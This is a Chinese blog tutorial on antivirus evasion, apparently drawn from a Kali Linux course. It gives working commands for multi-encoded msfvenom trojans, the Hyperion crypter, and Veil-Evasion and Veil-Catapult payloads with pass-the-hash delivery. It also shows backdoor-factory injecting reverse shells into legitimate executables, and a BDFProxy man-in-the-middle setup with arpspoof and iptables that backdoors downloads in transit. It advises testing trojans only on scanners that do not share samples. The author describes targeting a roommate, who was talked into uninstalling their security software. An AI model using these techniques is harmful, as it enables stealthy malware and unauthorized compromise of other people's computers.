免杀工具

旧文迁移,免杀的挺好玩的,各种怼。

免杀总览


恶意软件分类:病毒,木马,蠕虫,键盘记录,僵尸程序,流氓软件,勒索软件,广告程序
恶意软件目的:控制,窃取,勒索,偷窥,推送,攻击

检测

AV检测原理:基于二进制文件中特征码的检测(恶意程序本身的特征字符,加密器的特征字符),基于行为的分析(启发式)
厂商对策:

  • 广泛采集样本,尽快发现新出现的恶意程序,更新病毒库
  • 一般新的恶意软件安全UD窗口期是一周左右(快的两天)
  • 与恶意软件制造者永无休止的拉锯战
  • 新的启发式检测技术尚有带完善(误杀漏杀)

反检测

免杀技术方法:

  1. 修改二进制文件中的特征字符:(查找AV判断的特征字符后)替换,查出,修改
  2. 加密技术:通过加密是的特征码不可读,运行时分片分段的解密执行,注入进程或AV不检查的无害文件中

对策:

  • 编写私有的rat软件,避免普遍被AV所知的特征字符
  • 使用独有的加密软件加密恶意程序
  • 没有能力自己编写恶意代码的何可,通过直接修改特征码的方式免杀
  • 处事低调,尽量避免被发现(对上面几项的总结)
  • fully undetectable(FUD:极对所有杀毒软件都免杀)是最高追求

单一AV厂商的病毒库很难达到100%覆盖,对于可疑文件可以使用在线多引擎杀毒(同样测试恶意软件也可以使用此方法):
https://www.virustotal.com
http://www.virscan.org
注意:一般在线多引擎查杀网站与AV厂商共享信息,所以千万不要讲自己的木马放这上面测试!
搞黑的在线多引擎查毒站(他们不会将结果共享)
https://nodistribute.com
http://virscheckmate.com/check/

常用RAT软件:
灰鸽子,波尔,黑暗彗星,潘多拉,nanocore

msfvenom


msfvenom属于msf框架,用于对shellcode进行编码,可以在msfconsole里面使用,也可以单独使用,下面是单独使用的例子:
环境:

kali
windows靶机(安装要针对的杀毒软件)

生成木马:

1
msfvenom -p windows/shell/bind_tcp lhost=192.168.0.110 lport=4444 -a x86 --platform win -f exe -o a.exe

生成加密木马:

1
msfvenom -p windows/shell/bind_tcp lhost=192.168.0.110 lport=4444 -f raw -e x86/shikata_ga_nai -i 5 |msfvenom -a x86 --platform windows -e x86/countdown -i 5  |msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 6 -b '\x00' -f exe -o b.exe

解释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bind shell:这是在目标主机上绑定端口的shell,他会在目标主机上监听一个端口等待连接,一般比较容易被防火墙拦截
reverse shell:反弹shell会在从目标上反向连接指定地址(攻击者电脑)
-p 指定payload
-i 指定编码次数
-b 避免坏字符(16进制格式)
lhost 指定本机ip
lport 指定本机端口
rhost 指定远程ip
rport 指定远程端口
-f 指定格式,要编码的话必须生成为原始格式(raw)
-a 处理器架构
-e 指定编码器
--platform 指定平台
-o 指定输出文件

这里的payload可以在msfconsole里面查找:

1
2
msfconsole
show payloads


编码器也可以这样查找

1
show encoders


(后面关于msf章节会详细记录,期待中)


经测试,生成的木马和生成的加密后的木马都被360改杀了。。。
(注意,自己测试可以使用上面的网址做测试,在实际生活中,更多的是针对特目标,即特定杀软,所以这样做。。。)
补充:刚才的木马的使用方法
如果目标运行了木马,在kali上使用:

1
2
3
4
msfconsole
use exploit/multi/handler
set PAYLOAD windows/shell/bind_tcp
exploit

即可取得shell:

hyperion


hyperion是32位PE程序加密器,可用于免杀,分为两部分:

crypter 用于加密程序
container(解密器+PE loader)用于解密程序,PE loader来加载解密器解密的程序数据

下载地址:https://github.com/nullsecuritynet/tools/blob/master/binary/hyperion/release/Hyperion-1.2.zip
安装方式:

1
2
3
4
5
6
unzip Hyperion-1.2.zip
cd Hyperion-1.2/
i686-w64-mingw32-g++ -static-libgcc -static-libstdc++ Src/Crypter/*.cpp -o e.exe
dpkg --add-architecture i386
apt-get update
apt-get install wine32

这样就有了加密器e.exe了,可以用它来加密PE程序,如下:

1
wine e.exe b.exe c.exe

这里讲b.exe加密生成了c.exe

当然还是悲催了。。。

veil


veil-evasion

属于veil-framework框架的一部分,由Python语言编写,用于自动生成免杀payload:

1:集成msf payload ,支持自定义payload
2:集成各种注入技术
3:集成各种第三方工具
    Hyperion,PEscambler,BackDoor Factory
4:集成各种开发打包运行环境

注释:payload,即攻击载荷,攻击后运行的代码,可以是一条命令也可以是一个shellcode

安装:

1
2
apt-get install veil-evasion
veil-evasion

第一次运行会花较长时间下载依赖文件,直接点下一步即可!
打开后的界面:

可以看到内置了46个payload,然后下面是可以使用的命令,全程菜单向导式操作:

1
2
3
4
5
6
7
use         使用指定payload
info 显示指定payload的信息
list 列出存在的payload
update 升级
clean 清除之前生成的payload
checkvt 检查
exit 退出

使用list查看payloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
[menu>>]: list 
[3;J
=========================================================================
Veil-Evasion | [Version]: 2.21.4
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================


[*] Available Payloads:

1) auxiliary/coldwar_wrapper
2) auxiliary/pyinstaller_wrapper

3) c/meterpreter/rev_http
4) c/meterpreter/rev_http_service
5) c/meterpreter/rev_tcp
6) c/meterpreter/rev_tcp_service
7) c/shellcode_inject/flatc

8) cs/meterpreter/rev_http
9) cs/meterpreter/rev_https
10) cs/meterpreter/rev_tcp
11) cs/shellcode_inject/base64_substitution
12) cs/shellcode_inject/virtual

13) go/meterpreter/rev_http
14) go/meterpreter/rev_https
15) go/meterpreter/rev_tcp
16) go/shellcode_inject/virtual

17) native/backdoor_factory
18) native/hyperion
19) native/pe_scrambler

20) powershell/meterpreter/rev_http
21) powershell/meterpreter/rev_https
22) powershell/meterpreter/rev_tcp
23) powershell/shellcode_inject/download_virtual
24) powershell/shellcode_inject/psexec_virtual
25) powershell/shellcode_inject/virtual

26) python/meterpreter/bind_tcp
27) python/meterpreter/rev_http
28) python/meterpreter/rev_http_contained
29) python/meterpreter/rev_https
30) python/meterpreter/rev_https_contained
31) python/meterpreter/rev_tcp
32) python/shellcode_inject/aes_encrypt
33) python/shellcode_inject/aes_encrypt_HTTPKEY_Request
34) python/shellcode_inject/arc_encrypt
35) python/shellcode_inject/base64_substitution
36) python/shellcode_inject/des_encrypt
37) python/shellcode_inject/download_inject
38) python/shellcode_inject/flat
39) python/shellcode_inject/letter_substitution
40) python/shellcode_inject/pidinject

41) ruby/meterpreter/rev_http
42) ruby/meterpreter/rev_http_contained
43) ruby/meterpreter/rev_https
44) ruby/meterpreter/rev_https_contained
45) ruby/meterpreter/rev_tcp
46) ruby/shellcode_inject/flat

[menu>>]:

可以看到存在的payload,他由语言/类型组成,可以直接使用编号使用,也可以使用use ruby/shellcode_inject/flat 来使用,例如这里使用35号,确定后如图:

第一个框里是配置信息:

1
2
3
4
COMPILE_TO_EXE  	Y       	是否编译成可执行文件
EXPIRE_PAYLOAD X 是否设置自毁时间
INJECT_METHOD Virtual 设置注入技术Virtual, Void, Heap
USE_PYHERION N 是否使用pyherion encrypter加密

第二个框里是能够使用的命令:
set 设置配置信息,和msf一样的格式:例如set COMPILE_TO_EXE N
info 显示这个payload的信息
options 显示这个payload的配置信息
generate 生成payload
back 返回上一级菜单
exit 退出软件
第三个框可以看到当前使用的payload:现在直接使用generate开始生成

如图,选择怎样生成,可以使用默认的,又会选择一个功能型的payload,可以使用默认的,也可以按tab键查看所有的:

这里选择一个payload,设置必要选项,还有其他需求可以继续添加配置设置,然后生成Python文件,使用什么库来生成exe文件,默认也可以,这样就生成完成了!

这就是详细的输出文件信息,也提示了不要讲文件放在在线扫描器里面去!
使用方法:
先开启监听,msfconsole -r /var/lib/veil-evasion/output/handlers/35.exe_handler.rc

若目标启动木马则会收到metepreter的会话,直接使用session -i 数字 来打开相应的会话(metepreter命令)
经测试,能在我物理机的杀毒软件上免杀。。。



网上有4个软件能发现,其他都免杀。

veil-catapult

用于payload的投递,特点:

集成veil-evasion生成免杀payload或自定义payload
使用Impacket上传二进制payload文件
使用passing-the-hash出发执行payload
payload执行在内存中运行
不向硬盘写入payload文件,避免文件型病毒查杀软件

安装(在已有veil-evasion时):

1
apt-get install veil-catapult

运行:

分别代表使用内置的payloads,投递已有的EXE木马,清除之前生成的木马,退出,现在选第一个

Powershell injector:适用于windows 7及以上版本系统,先是上传powershell脚本,再上传木马代码,让powershell脚本去执行shellcode。
Barebones python injector:适用于powershell injector失败的情况下使用。
Sethc backdoor:替换粘滞键(临时替换)    
Execute custom command:执行一条命令


第一个没有成功,以第二个做演示

投递的时候需要知道目标的账号和密码

这里选择使用哪里的shellcode,选择默认的msfvenom即可,然后下面的操作和veil-evasion一样
此时可以打开监听了,也和veil-evasion一样



backdoor-factory


它可以自动地向所支持的正常可执行文件中插入恶意代码且不影响原程序功能,黑室友必备!官方提供有docker版,kali也自带此工具,安装还是很简单,这里就不写了。它支持的可执行文件格式有:

Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), 
and Mach-O x86/x64 and those formats in FAT files

Packed Files: PE UPX x86/x64

Experimental: OpenBSD x32 

浅谈实现

一:恶意代码放在何处?

1:若需要,扩张最后一个节区大小
2:新增一个code节区
3:覆盖无用的节区数据
4:添加到节区末尾空白区域
5:插入代码洞
…

若更改节区大小或者新增节区,需要更改PE中的节区数,该节区的文件中大小,内存中大小,属性要为代码与可执行…相对来说,插入代码洞就不需要作这些修改,前提是代码段有足够的cave(代码洞为一片连续的\00\00区域,程序执行过程中不会用到的区域)
二:恶意代码怎样获取控制权?
可以修改程序执行流程的任何一个地方,使之跳转到shellcode处,在shellcode处创建新线程/进程后返回正常代码继续执行(例如添加到TLS回调函数,直接修改入口点RVA或是入口点代码,使用SHE等等)

参数说明

直接上参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
root@kali:~# backdoor-factory
__________ __ .___
\______ \_____ ____ | | __ __| _/____ ___________
| | _/\__ \ _/ ___\| |/ // __ |/ _ \ / _ \_ __ \
| | \ / __ \\ \___| </ /_/ ( <_> | <_> ) | \/
|______ /(____ /\___ >__|_ \____ |\____/ \____/|__|
\/ \/ \/ \/ \/
___________ __
\_ _____/____ _____/ |_ ___________ ___.__.
| __) \__ \ _/ ___\ __\/ _ \_ __ < | |
| \ / __ \\ \___| | ( <_> ) | \/\___ |
\___ / (____ /\___ >__| \____/|__| / ____|
\/ \/ \/ \/

Author: Joshua Pitts
Email: the.midnite.runr[-at ]gmail<d o-t>com
Twitter: @midnite_runr
IRC: freenode.net #BDFactory

Version: 3.3.1

Usage: backdoor.py [options]

Options:
-h, --help 显示帮助信息
-f FILE, --file=FILE 接要插入后门的正常程序
-s SHELL, --shell=SHELL
要插入的shellcode,接show显示可用的
-H HOST, --hostip=HOST
在反弹shell中使用,设为攻击者主机地址
-P PORT, --port=PORT 在绑定shell中使用,设为绑定的端口;在反弹shell中使用,设为攻击者监听的端口
-J, --cave_jumping 此选项可使用多个cave
-a, --add_new_section
直接在程序后面添加section,更容易成功但是免杀效果较差
-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE
接用户自定义的shellcode(要确保处理器平台类型相符)
-c, --cave 检查有哪些cave,可接-l参数
-l SHELL_LEN, --shell_length=SHELL_LEN
与-c参数配合,过滤最小的cave大小
-o OUTPUT, --output-file=OUTPUT
接输出文件
-n NSECTION, --section=NSECTION
自定义section名字,要小于7个字符
-D, --delete_original
删除源程序文件
-S, --support_check 检查正常程序是否支持植入后门
-M, --cave-miner 高级使用方式,去更智能的植入shellcode
-q, --no_banner 没多大用的,不显示banner信息(我感觉banner挺好看的。。。)
-v, --verbose 显示更详细的输出信息
-T IMAGE_TYPE, --image-type=IMAGE_TYPE
架构类型:x86,x64,all(默认)
-Z, --zero_cert 去覆盖移除PE文件的数字签名
-X, --xp_mode 默认不支持XP系统,可加此选项来支持
-L, --patch_dll 默认给DLLs打补丁(植入后门),此选项可以禁用
-R, --runas_admin 环境检查:PE的二进制中含有'requestedExecutionLevel level="highestAvailable"'.这个字符串时,说明软件必须以管理员权限运行。
如果没检测到这个但是requestedExecutionLevel又确实存在它将去尝试植入highestAvailable,这样可以是自身拥有更高的权限。
-O DISK_OFFSET, --disk_offset=DISK_OFFSET
Starting point on disk offset, in bytes. Some authors
want to obfuscate their on disk offset to avoid
reverse engineering, if you find one of those files
use this flag, after you find the offset.
-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY
对于MACH-O格式,没见过这种文件。If fat file, focus on which arch to patch. Default is x64. To force x86 use -F x86, to
force both archs use -F ALL.
-B BEACON, --beacon=BEACON
设置探测连接时间间隔,单位为秒。
-m PATCH_METHOD, --patch-method=PATCH_METHOD
植入方式:'manual','automatic'和 onionduke
-b SUPPLIED_BINARY 和onionduke配合使用,接恶意程序 ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe(没用过)

-C, --code_sign 对PE文件进行签名,需要提前将密钥,密码文件放在指定目录。(本软件默认会去掉软件签名)
-w, --change_access 改变节区的属性为RWE,默认激活,否则可能是软件崩溃。
-i, --injector 在Windows下运行,可停止进程或服务后注入后门替换源程序。(没用过。。。)

参数很多,会举一些例子帮助理解:
1:检查是否可以植入后门:

目前它还不支持绑定导入表的程序
2:一般用法:

若不指定shell或是指定为show,将会显示对该文件可用的shell,此时就可以指定了,在这里选了一个普通的反弹shell,反弹到192.168.163.130(kali)的4843端口,插入恶意代码的方式是使用新增一个节区:

此时,在kali上使用nc监听等待反弹就好了:

当在目标上运行,就连接上了,而目标上没有任何异常:

3:比较这几种shell的区别

cave_miner_inline
iat_reverse_tcp_inline
iat_reverse_tcp_inline_threaded
iat_reverse_tcp_stager_threaded
iat_user_supplied_shellcode_threaded
meterpreter_reverse_https_threaded
reverse_shell_tcp_inline
reverse_tcp_stager_threaded
user_supplied_shellcode_threaded

用过msf的话,其实从名字能猜出一二:

iat_*应该和导入地址表有关
tcp/http应该是通信的协议
*_threaded应该是基于线程的
reverse应该是反弹类型的
shell/meterpreter应该是额,就是那样,一个可以直接用nc一个需要用msf。user_supplied可能是需要用户指定自己编写的shellcode
stager是分段传输

事实又是如何呢,需要一个一个的检验,下面的全是使用之前那条命令生成的,只是使用了不同的shell:
cave_miner_inline:
没搞懂这是什么意思,试了几个软件,它都不会反弹shell,跟进去插入的代码如图,几乎没干实事就返回了。。。

iat_reverse_tcp_inline:




可以看出使用新增区段做了这些修改,跟入程序(注意,刚才的命令没有使用-X选项,不能在XP下运行,否则会出现访问非法内存异常,下面同理):

原程序是C++写的,一开始call初始化函数,但是插入后门后,是一个远跳转:

进入后发现是一片nop后pushad,pushfd,用来保存状态,保证后续能够正常执行,到快返回时就跳转到了原来入口点处了。

查看进程信息发现它新创建了一个cmd进程,当断开连接后,进程终止,并且不会自动再新建进程了,也就是说每次运行软件只有一次机会获取shell。并且,当父进程(受感染软件)退出后,cmd进程依然存活,连接不会断开。
iat_reverse_tcp_inline_threaded
本以为这是以线程方式执行,但是实际测试发现好像并不是这样,它依然使用了cmd进程与kali进行通信,不知道是什么意思,姑且认为他们一样吧。
iat_reverse_tcp_stager_threaded

它和上者的大小不同,小了大约2000H字节,也不能使用nc控制了,而需要msf:
set payload windows/shell/reverse_tcp

meterpreter_reverse_https_threaded
meterpreter!如果可以当然要选择这个啦,功能那么强大:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4843
run



在这个里面没有看到可疑进程了,但是当软件关闭,连接也会关闭,要想继续维持访问,可以迁移到其他进程里面,如果感觉手速跟不上,可以在运行handler前使用高级设置,在那里面设置自动运行脚本。
4:使用code cave生成:
使用-c检查存在的code cave,-l过滤掉小于100字节的,会输出匹配的详细信息:

接着使用code cave植入后门:


这种方法把shellcode分节,要是自己分的话可以随便分,但是软件不能做到这么智能,是有固定的分段长度的,这里显示最小也需要87字节,第一个需要147字节,接着筛选出了符合的cave供选择,一直下去直到结束,我这里第一次选择了36这个cave,它是资源段的,本来不能执行,这里也改了它的属性,现在可以比较下和原文件的区别:

看到在文件头中显示,文件大小没有变话,只是区段属性变了,都成了E0 00 00 E0,即:

下面肯定就是代码的不同了,使用od检验无误:

5:使用自定义shellcode:
这里就拿msf生成的做个实验,先生成一个shellcode:


植入目标:

BDFProxy

上面已经知道可以往软件里插入后门了,但是不是总能让室友运行我们发的软件,特别是经常整她,于是这个神器就出来了,它也是写backdoor-factory这位作者写的,用于自动向劫持的数据中可执行文件植入后门:
劫持流量:
如图:本来受害者是通过网关去外网的服务下载软件,此时服务器上的软件是安全的,所以不出意外受害者下载的软件也就是安全的!

但是,前面已经学了中间人攻击,,当流量经由攻击者的电脑,那么攻击者可以时刻监视着受害者的数据。

这里的监听是,接收受害者的请求,并过滤内容,然后转发到目标地址,一旦发现是请求可执行文件,就先自己下载,然后植入后门,再返回给受害者!

这里发现了一个****.exe的请求
然后会做如下操作

收集信息,然后打补丁,最后转发给用户(和backdoor-factory一样的)这时用户下载到的程序就是被植入木马的!
开始:
Kali自带,需要的话可手动安装:

1
2
3
4
apt-get update
apt-get install backdoor-factory
apt-get install mitmproxy
apt-get install bdfproxy

步骤:

1
2
3
4
5
echo 1 > /proc/sys/net/ipv4/ip_forward #开启数据转发
iptables -L -t nat #首先查看iptables里面有没有规则,有的话需要清空以免影响
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080 #在PREROUTING链路上使用nat表,将原来到80,443的非本机数据重定向到本机的8080端口(即bdfproxy监听端口)
iptables -L -t nat #再次检查确保正确

修改配置文件

1
gedit /etc/bdfproxy/bdfproxy.cfg

将里面的[Overall]修改如下

1
proxyMode = transparent  # Modes: regular or None (for libmproxy < 13), socks5, transparent, reverse, upstream

然后将所有存在的ip地址改为要接受反弹shell的ip地址(一般为kali本机)(这里的ip地址默认为192.168.1.16)

开始欺骗目标,实现中间人攻击(这里不一定用这种方法,像搭钓鱼WiFi,dns欺骗等等,这要能实现中间人攻击的都可以。)

1
arpspoof –i eth0 –t 192.168.0.106 192.168.0.1

开启bdfproxy

这里会生成一个资源文件,里面包含很多msfconsole命令(因为它对很多平台进行注入,每个平台的payload不一样,所以他会对每个平台的payload开放不同的监听端口,如下图)

开启对反弹shell的监听(监听后才会出现上图所示的端口)

此时在官网下载软件后,运行直接取得shell

最后,我猜测这个东西不免杀,即使我的杀软没有任何反应(实际上从安装成功后它没有查出任何病毒),不过室友已经被我忽悠的卸了卫士管家了(hia~hia) 了解了原理以后,对一些小错误型失败是可以手动解决的,例如有的软件会校验自身完整性,改改就好了,自己还可以对shellcode自定义分片,可玩的很多啊。

AVET


黑帽大会出品,详见freebuf,自己还没玩过先添加一条项目。。。

免杀补充


杀毒软件:
已知病毒:特征码,查找病毒特征字符串
未知病毒:主动防御:行为,监视程序在做什么事。高启发,沙箱运行观察结果
免杀:数字签名,区段加密,加壳
四无技术:无启动项,无端口,无进程,无硬盘文件
对策:对于特征码,将文件分片,查找特征码字符串,将其删除,修改
代码混淆
订制的编码方式
多态编码
(多态:例如veil-evasion,在相同的条件下,不同时间生成的程序是不一样的。)

来源


安全牛课堂-kali-linux